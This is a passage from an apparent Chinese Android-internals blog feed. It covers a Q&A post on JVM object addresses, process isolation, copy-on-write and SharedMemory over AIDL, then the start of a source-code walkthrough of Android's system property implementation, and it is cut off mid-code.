获取该对象的地址。两次获取到的对象地址是否有可能不同?换句话说,对象的地址是否有可能变更?</p><br><br><br><br><p>答:有可能。JVM 中存在 GC 即“垃圾回收”机制,会回收不再使用的对象以腾出内存空间。GC 可能会移动对象。</p><h4 id="第二题:"><a href="#第二题:" class="headerlink" title="第二题:"></a>第二题:</h4><p>考虑如下代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">long</span> <span class="title">allocate</span><span class="params">()</span> </span>{</span><br><span class="line"> Object o = <span class="keyword">new</span> Object();</span><br><span class="line"> <span class="keyword">return</span> getObjectAddress(o);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> <span class="keyword">long</span> address1 = allocate();</span><br><span class="line"> <span class="comment">// ......</span></span><br><span class="line"> <span class="keyword">long</span> address2 = allocate();</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>allocate()</code> 创建了一个 Object 对象,然后获取它的对象地址。<br><code>main</code> 方法中调用两次 <code>allocate()</code>,这两个对象的内存地址是否有可能相同?</p><br><br><br><br><p>答:有可能。在 <code>allocate()</code> 方法中创建的对象在该方法返回后便失去所有引用成为“不再需要的对象”,如果两次方法调用之间,第一次方法调用中产生的临时对象被上文中提到的 GC 机制回收,对应的内存空间就变得“空闲”,可以被其他对象占用。</p><h4 id="第三题:"><a href="#第三题:" class="headerlink" title="第三题:"></a>第三题:</h4><p>哎呀,既然上面说同一个对象的内存地址可能不相同,两个不同对象也有可能有相同的内存地址,而java 里的 <code>==</code> 又是判断对象的内存地址,那么</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Object o = <span class="keyword">new</span> Object();</span><br><span class="line"><span class="keyword">if</span> (o != o)</span><br></pre></td></tr></table></figure><p>还有</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Object o1 = <span class="keyword">new</span> Object();</span><br><span class="line">Object o2 = <span class="keyword">new</span> Object();</span><br><span class="line"><span class="keyword">if</span> (o1 == o2)</span><br></pre></td></tr></table></figure><p>这里的两个 <code>if</code> 不是都有可能成立?</p><br><br><br><br><p>答:不可能。<code>==</code> 操作符比较的确实是对象地址没错,但是这里其实还隐含了两个条件:</p><ol><li>这个操作符比较的是 <strong>“那一刻”</strong> 两个对象的地址。</li><li>比较的两个对象都位于同一个进程内。</li></ol><p>上述提到的两种情况都不满足“同一时间”这一条件,因此这两条 if 永远不会成立。</p><h3 id="类与方法"><a href="#类与方法" class="headerlink" title="类与方法"></a>类与方法</h3><h4 id="第四题:"><a href="#第四题:" class="headerlink" title="第四题:"></a>第四题:</h4><p>假设 Framework 是 Android Framework 里的一个类,App 是某个 Android App 的一个类:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Framework</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">int</span> <span class="title">api</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">App</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</span><br><span class="line"> Framework.api();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>编译 App,然后将 <code>Framework</code> 内 <code>api</code> 方法的返回值类型从 int 改为 long,编译 Framework 但不重新编译 App,App 是否可以正常调用 Framework 的 api 方法?</p><br><br><br><br><p>答:不能。Java 类内存储的被调用方法的信息里包含返回值类型,如果返回值类型不对在运行时就找不到对应方法。将方法改为成员变量然后修改该变量的类型也同理。</p><h4 id="第五题:"><a href="#第五题:" class="headerlink" title="第五题:"></a>第五题:</h4><p>考虑如下代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Parent</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">call</span><span class="params">()</span> </span>{</span><br><span class="line"> privateMethod();</span><br><span class="line"> }</span><br><span class="line"> <span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">privateMethod</span><span class="params">()</span> </span>{</span><br><span class="line"> System.out.println(<span class="string">"Parent method called"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Child</span> <span class="keyword">extends</span> <span class="title">Parent</span> </span>{</span><br><span class="line"> <span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">privateMethod</span><span class="params">()</span> </span>{</span><br><span class="line"> System.out.println(<span class="string">"Child method called"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">new</span> Child().call();</span><br></pre></td></tr></table></figure><p>Child 里的 <code>privateMethod</code> 是否重写了 Parent 里的?<code>call</code> 中调用的 <code>privateMethod()</code> 会调用到 Parent 里的还是 Child 里的?</p><br><br><br><br><p>答:不构成方法重写,还是会调用到 Parent 里的 <code>privateMethod</code>。private 方法是 direct 方法,direct 方法无法被重写。</p><h2 id="操作系统基础"><a href="#操作系统基础" class="headerlink" title="操作系统基础"></a>操作系统基础</h2><h3 id="多进程与虚拟内存"><a href="#多进程与虚拟内存" class="headerlink" title="多进程与虚拟内存"></a>多进程与虚拟内存</h3><p>假设有进程 A 和进程 B。</p><h4 id="第六题:"><a href="#第六题:" class="headerlink" title="第六题:"></a>第六题:</h4><p>进程 A 里的对象 a 和进程 B 里的对象 b 拥有相同的内存地址,它们是同一个对象吗?</p><br><br><br><br><p>答:当然不是,上面才说过“对象相等”这个概念在同一个进程里才有意义,不认真听课思考是会被打屁屁的~</p><h4 id="第七题:"><a href="#第七题:" class="headerlink" title="第七题:"></a>第七题:</h4><p>进程 A 内有一个对象 a 并将这个对象的内存地址传递给了 B,B 是否可以直接访问(读取、写入等操作)这个对象?</p><br><br><br><br><p>答:不能,大概率会触发段错误,小概率会修改到自己内存空间里某个冤种对象的数据,无论如何都不会影响到进程 A。作为在用户空间运行的进程,它们拿到的所谓内存地址全部都是虚拟地址,进程访问这些地址的时候会先经过一个转换过程转化为物理地址再操作。如果转换出错(人家根本不认识你给的这个地址,或者对应内存的权限不让你执行对应操作),就会触发段错误。</p><h4 id="第八题:"><a href="#第八题:" class="headerlink" title="第八题:"></a>第八题:</h4><p>还是我们可爱的进程 A 和 B,但是这次 B 是 A 的子进程,即 A 调用 fork 产生了 B 这个新的进程:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">a</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">int</span>* p = <span class="built_in">malloc</span>(<span class="keyword">sizeof</span>(<span class="keyword">int</span>));</span><br><span class="line"> *p = <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">if</span> (fork() > <span class="number">0</span>) {</span><br><span class="line"> <span class="comment">// 进程 A 也即父进程</span></span><br><span class="line"> <span class="comment">// 巴拉巴拉巴拉一堆操作</span></span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// 进程 B 也即子进程</span></span><br><span class="line"> *p = <span class="number">2</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>(fork 是 Posix 内创建进程的 API,调用完成后如果仍然在父进程则返回子进程的 pid 永远大于 0,在子进程则返回 0)</p><p>(还是理解不了就把 A 想象为 Zygote 进程,B 想象为任意 App 进程)</p><p>这一段代码分配了一段内存,调用 fork 产生了一个子进程,然后在子进程里将预先分配好的那段内存里的值更改为 2。<br>问:进程 B 做出的更改是否对进程 A 可见?</p><br><br><br><br><p>答:不可见,进程 A 看见的那一段内存的值依然是 1。Linux 内核有一个叫做“写时复制”(Copy On Write)的技术,在进程 B 尝试写入这一段内存的时候会偷偷把真实的内存给复制一份,最后写入的是这份拷贝里的值,而进程 A 看见的还是原来的值。</p><h3 id="跨进程大数据传递"><a href="#跨进程大数据传递" class="headerlink" title="跨进程大数据传递"></a>跨进程大数据传递</h3><p>已知进程 A 和进程 B,进程 A 暴露出一个 AIDL 接口,现在进程 B 要从 A 获取 10M 的数据(远远超出 binder 数据大小限制),且禁止传递文件路径,只允许调用这个 AIDL 接口一次,请问如何实现?</p><br><br><br><br><p>答:可以传递文件描述符(File Descriptor)。别以为这个玩意只能表示文件!举个例子,作为应用层开发者我们可以使用共享内存的方法,这样编写 AIDL 实现类把数据传递出去:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Override</span> <span class="function"><span class="keyword">public</span> SharedMemory <span class="title">getData</span><span class="params">()</span> <span class="keyword">throws</span> RemoteException </span>{</span><br><span class="line"> <span class="keyword">int</span> size = <span class="number">10</span> * <span class="number">1024</span> * <span class="number">1024</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> SharedMemory sharedMemory = SharedMemory.create(<span class="string">"shared memory"</span>, size);</span><br><span class="line"> ByteBuffer buffer = sharedMemory.mapReadWrite();</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>;i < <span class="number">10</span>;i++) {</span><br><span class="line"> <span class="comment">// 模拟产生一堆数据</span></span><br><span class="line"> buffer.put(i * <span class="number">1024</span> * <span class="number">1024</span>, (<span class="keyword">byte</span>) <span class="number">114</span>);</span><br><span class="line"> buffer.put(i * <span class="number">1024</span> * <span class="number">1024</span> + <span class="number">1</span>, (<span class="keyword">byte</span>) <span class="number">51</span>);</span><br><span class="line"> buffer.put(i * <span class="number">1024</span> * <span class="number">1024</span> + <span class="number">2</span>, (<span class="keyword">byte</span>) <span class="number">4</span>);</span><br><span class="line"> buffer.put(i * <span class="number">1024</span> * <span class="number">1024</span> + <span class="number">3</span>, (<span class="keyword">byte</span>) <span class="number">191</span>);</span><br><span class="line"> buffer.put(i * <span class="number">1024</span> * <span class="number">1024</span> + <span class="number">4</span>, (<span class="keyword">byte</span>) <span class="number">98</span>);</span><br><span class="line"> buffer.put(i * <span class="number">1024</span> * <span class="number">1024</span> + <span class="number">5</span>, (<span class="keyword">byte</span>) <span class="number">108</span>);</span><br><span class="line"> buffer.put(i * <span class="number">1024</span> * <span class="number">1024</span> + <span class="number">6</span>, (<span class="keyword">byte</span>) <span class="number">93</span>);</span><br><span class="line"> }</span><br><span class="line"> SharedMemory.unmap(buffer);</span><br><span class="line"> sharedMemory.setProtect(OsConstants.PROT_READ);</span><br><span class="line"> <span class="keyword">return</span> sharedMemory;</span><br><span class="line"> } <span class="keyword">catch</span> (ErrnoException e) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> RemoteException(<span class="string">"remote create shared memory failed: "</span> + e.getMessage());</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>然后在进程 B 里这样拿:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">IRemoteService service = IRemoteService.Stub.asInterface(binder);</span><br><span class="line"><span class="keyword">try</span> {</span><br><span class="line"> SharedMemory sharedMemory = service.getData();</span><br><span class="line"> ByteBuffer buffer = sharedMemory.mapReadOnly();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 模拟处理数据</span></span><br><span class="line"> <span class="keyword">int</span>[] temp = <span class="keyword">new</span> <span class="keyword">int</span>[<span class="number">10</span>];</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>;i < <span class="number">10</span>;i++) {</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> j = <span class="number">0</span>;j < <span class="number">10</span>;j++) {</span><br><span class="line"> temp[j] = buffer.get(i * <span class="number">1024</span> * <span class="number">1024</span> + j);</span><br><span class="line"> }</span><br><span class="line"> Log.e(TAG, <span class="string">"Large buffer["</span> + i + <span class="string">"]="</span> + Arrays.toString(temp));</span><br><span class="line"> }</span><br><span class="line"> SharedMemory.unmap(buffer);</span><br><span class="line"> sharedMemory.close();</span><br><span class="line">} <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> RuntimeException(e);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里使用的 SharedMemory 从 Android 8.1 开始可用,在 8.1 之前的系统里也有一个叫做 MemoryFile 的 API 可以用。<br>打开 SharedMemory 里的源码,你会发现其实它内部就是创建了一块 ashmem (匿名共享内存),然后将对应的文件描述符传递给 binder。内核会负责将一个可用的文件描述符传递给目标进程。<br>你可以将它理解为可以跨进程传递的 File Stream(只要能通过权限检查),合理利用这个小玩意有奇效哦 :)</p>]]></content>
<summary type="html">
<p>与我以往的风格不同,本文为科普类文章,因此不会涉及到太过高深难懂的知识。但这些内容可能 Android 应用层开发者甚至部分 framework 层开发者都不了解,因此仍旧高能预警。</p><p>另外广东这两天好冷啊,大家注意保暖~</p>
</summary>
<category term="android" scheme="https://blog.canyie.top/tags/android/"/>
<category term="art" scheme="https://blog.canyie.top/tags/art/"/>
<category term="system" scheme="https://blog.canyie.top/tags/system/"/>
<category term="kernel" scheme="https://blog.canyie.top/tags/kernel/"/>
</entry>
<entry>
<title>Android Property 实现解析与黑魔法</title>
<link href="https://blog.canyie.top/2022/04/09/property-implementation-and-isolation/"/>
<id>https://blog.canyie.top/2022/04/09/property-implementation-and-isolation/</id>
<published>2022-04-09T09:30:00.000Z</published>
<updated>2022-04-09T09:56:45.124Z</updated>
<content type="html"><![CDATA[<p>Android Property (属性系统)可谓是 Android 中使用最广泛的进程间信息共享机制了,如 app 获取系统版本号,就是通过属性系统传递的信息;对于如此常用的底层机制,你可能知道 <code>getprop</code> <code>SystemProperties</code> <code>__system_property_get</code> 这些 API,但是,你真的了解它吗?这次,我们不但要会遵守规则用这些 API,我们还要成为规则的缔造者,让系统为我们服务!Let’s go!</p><a id="more"></a><h2 id="系统实现分析"><a href="#系统实现分析" class="headerlink" title="系统实现分析"></a>系统实现分析</h2><p>首先,我们有这几个问题需要解答:</p><ol><li><code>ro.</code> 开头的属性是只读的,只能被设置一次,系统是怎么实现的?</li><li>系统里的属性那么多,难免会有一些 app 读取不了的敏感属性,系统是怎么限制我们读取的?</li></ol><p>Linus 大神有句话很出名:“Read the F*cking Source Code。”想要解答这些问题,阅读源码是必须的。</p><h3 id="Property-Context"><a href="#Property-Context" class="headerlink" title="Property Context"></a>Property Context</h3><p>我们通常使用 <code>__system_properties_get</code> 这个 API 去获取系统属性,点开这个函数看看:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">static</span> SystemProperties system_properties;</span><br><span class="line"></span><br><span class="line">__BIONIC_WEAK_FOR_NATIVE_BRIDGE</span><br><span class="line"><span class="keyword">int</span> __system_property_get(<span class="keyword">const</span> <span class="keyword">char</span>* name, <span class="keyword">char</span>* value) {</span><br><span class="line"> <span class="keyword">return</span> system_properties.Get(name, value);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> SystemProperties::Get(<span class="keyword">const</span> <span class="keyword">char</span>* name, <span class="keyword">char</span>* value) {</span><br><span class="line"> <span class="keyword">const</span> prop_info* pi = Find(name);</span><br><span class="line"> <span class="keyword">if</span> (pi != <span class="literal">nullptr</span>) {</span><br><span class="line"> <span class="keyword">return</span> Read(pi, <span class="literal">nullptr</span>, value);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> value[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>先去调用 <code>Find()</code> 函数找到一个叫做 <code>prop_info*</code> 的东西,然后从里面读出值来。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> prop_info* SystemProperties::Find(<span class="keyword">const</span> <span class="keyword">char</span>* name) {</span><br><span class="line"> <span class="keyword">if</span> (!initialized_) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">nullptr</span>;</span><br><span class="line"> }</span><br><span class="line"> prop_area* pa = contexts_->GetPropAreaForName(name);</span><br><span class="line"> <span class="keyword">if</span> (!pa) {</span><br><span class="line"> async_safe_format_log(ANDROID_LOG_WARN, <span class="string">"libc"</span>, <span class="string">"Access denied finding property \"%s\""</span>, name);</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">nullptr</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> pa->find(name);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>看到这里你是不是一头雾水,这函数有个 <code>initialized_</code> 一看就是要初始化的,谁去初始化的?<code>contexts_</code> <code>prop_area</code> 又是什么?这里就不卖关子了,在 <code>libc.so</code> 被加载的时候,它的 <code>.init.array</code> 段里面的函数会被自动执行,而有 <code>__attribute__((constructor(1))</code> 的函数就会被放到 <code>.init.array</code> 段从而被自动执行。里面兜兜转转,会调用一个 <code>__system_properties_init()</code> 函数,而这个函数正是初始化上面这些东西的关键所在。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> PROP_FILENAME <span class="meta-string">"/dev/__properties__"</span></span></span><br><span class="line"><span class="keyword">int</span> __system_properties_init() {</span><br><span class="line"> <span class="keyword">return</span> system_properties.Init(PROP_FILENAME) ? <span class="number">0</span> : <span class="number">-1</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">bool</span> SystemProperties::Init(<span class="keyword">const</span> <span class="keyword">char</span>* filename) {</span><br><span class="line"> <span class="comment">// This is called from __libc_init_common, and should leave errno at 0 (http://b/37248982).</span></span><br><span class="line"> <span class="comment">// ...</span></span><br><span class="line"> <span class="built_in">strcpy</span>(property_filename_, filename);</span><br><span class="line"> <span class="keyword">if</span> (is_dir(property_filename_)) {</span><br><span class="line"> <span class="keyword">if</span> (access(<span class="string">"/dev/__properties__/property_info"</span>, R_OK) == <span class="number">0</span>) {</span><br><span class="line"> contexts_ = <span class="keyword">new</span> (contexts_data_) ContextsSerialized();</span><br><span class="line"> <span class="keyword">if</span> (!contexts_->Initialize(<span class="literal">false</span>, property_filename_, <span class="literal">nullptr</span>)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> contexts_ = <span class="keyword">new</span> (contexts_data_) ContextsSplit();</span><br><span class="line"> <span class="keyword">if</span> (!contexts_->Initialize(<span class="literal">false</span>, property_filename_, <span class="literal">nullptr</span>)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> contexts_ = <span class="keyword">new</span> (contexts_data_) ContextsPreSplit();</span><br><span class="line"> <span class="keyword">if</span> (!contexts_->Initialize(<span class="literal">false</span>, property_filename_, <span class="literal">nullptr</span>)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> initialized_ = <span class="literal">true</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>名词越来越多了……先别急着头晕,聪明的你肯定发现,这里出现了两个文件路径:<code>/dev/__properties__</code> 和 <code>/dev/__properties__/property_info</code>。连上手机 ls 一下看看:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">vince:/ # ls -lZ /dev/__properties__</span><br><span class="line">total 1376</span><br><span class="line">-r--r--r-- 1 root root u:object_r:properties_serial:s0 131072 1970-07-08 15:56 properties_serial</span><br><span class="line">-r--r--r-- 1 root root u:object_r:property_info:s0 62540 1970-07-08 15:56 property_info</span><br><span class="line">-r--r--r-- 1 root root u:object_r:aac_drc_prop:s0 131072 1970-07-08 15:56 u:object_r:aac_drc_prop:s0</span><br><span class="line">-r--r--r-- 1 root root u:object_r:aaudio_config_prop:s0 131072 1970-07-08 15:56 u:object_r:aaudio_config_prop:s0</span><br><span class="line">-r--r--r-- 1 root root u:object_r:ab_update_gki_prop:s0 131072 1970-07-08 15:56 u:object_r:ab_update_gki_prop:s0</span><br><span class="line">-r--r--r-- 1 root root u:object_r:adbd_config_prop:s0 131072 1970-07-08 15:56 u:object_r:adbd_config_prop:s0</span><br></pre></td></tr></table></figure><p>而查看 <code>/dev/__properties__/property_info</code> 这个文件是一堆二进制数据。细心的你可能已经发现了我们上面的 <code>u:object_r:adbd_config_prop:s0</code> 这些奇怪的文件名,同时还有 <code>release_or_codename</code>、<code>dex2oat-flags</code> 这些我们用过的属性的名字的一段(以点分割)。点开 <code>ContextsSerialized</code> 里面是一些字典树之类的无趣的数据结构内容;而我们要明白它们的作用,其实可以看看没有这个文件时(如低版本系统)用的 <code>ContextsSplit</code> 的作用:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">bool</span> ContextsSplit::InitializeProperties() {</span><br><span class="line"> <span class="comment">// Use property_contexts from /system & /vendor, fall back to those from /</span></span><br><span class="line"> <span class="keyword">if</span> (access(<span class="string">"/system/etc/selinux/plat_property_contexts"</span>, R_OK) != <span class="number">-1</span>) {</span><br><span class="line"> <span class="keyword">if</span> (!InitializePropertiesFromFile(<span class="string">"/system/etc/selinux/plat_property_contexts"</span>)) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (access(<span class="string">"/vendor/etc/selinux/vendor_property_contexts"</span>, R_OK) != <span class="number">-1</span>) {</span><br><span class="line"> InitializePropertiesFromFile(<span class="string">"/vendor/etc/selinux/vendor_property_contexts"</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// Fallback to nonplat_* if vendor_* doesn't exist</span></span><br><span class="line"> InitializePropertiesFromFile(<span class="string">"/vendor/etc/selinux/nonplat_property_contexts"</span>);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="comment">// ... 省略 其他文件路径</span></span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>找一部手机,看看 <code>/system/etc/selinux/plat_property_contexts</code> 是什么:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">#line 1 "system/sepolicy/private/property_contexts"</span><br><span class="line">##########################</span><br><span class="line"># property service keys</span><br><span class="line">#</span><br><span class="line">#</span><br><span class="line">net.rmnet u:object_r:net_radio_prop:s0</span><br><span class="line"># ...</span><br><span class="line">net. u:object_r:system_prop:s0</span><br><span class="line">dev. u:object_r:system_prop:s0</span><br><span class="line">ro.runtime. u:object_r:system_prop:s0</span><br><span class="line">ro.runtime.firstboot u:object_r:firstboot_prop:s0</span><br><span class="line">hw. u:object_r:system_prop:s0</span><br><span class="line">ro.hw. u:object_r:system_prop:s0</span><br><span class="line">sys. u:object_r:system_prop:s0</span><br><span class="line"># ...</span><br></pre></td></tr></table></figure><p>左边的 <code>ro.</code> <code>net.</code> 很明显是属性的前缀,右边的 <code>u:object_r:system_prop:s0</code> 不是刚好对应我们上面看到的文件名吗?<br>找一个文件 cat 一下,没错,属性的名字和值都在里面。而实际上,上面的 <code>prop_area</code> 也是根据属性名搜索到对应的文件位置然后将它 mmap 到内存中获得的。<br>而我们再回头看看这个文件名,是不是很熟悉?如果你有了解过 SELinux 这一 Android 安全模型的重要组成部分,你很容易就会发现这个文件名就是 SELinux 中所谓的 Context 的格式。而再回头看上面 <code>ls -Z</code> 的输出,你会发现里面所有名字是这个格式的文件,它们的名字和“SELinux 上下文”都一样。</p><p>自此,我们得到了第一个结论:<br>Android 系统按照 Context 将属性们分为一个个“组”,获取属性值时,首先通过名字查询到这个属性所在的组,然后再在对应的文件里面查询。</p><h3 id="Property-Area"><a href="#Property-Area" class="headerlink" title="Property Area"></a>Property Area</h3><p>回到我们刚刚的 <code>SystemProperties::Find()</code> 这个函数里,它拿到对应的 <code>prop_area</code> 也就是所谓的“属性组”之后,又调用了它的 <code>find()</code> 函数在里面搜索,点开看看:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span 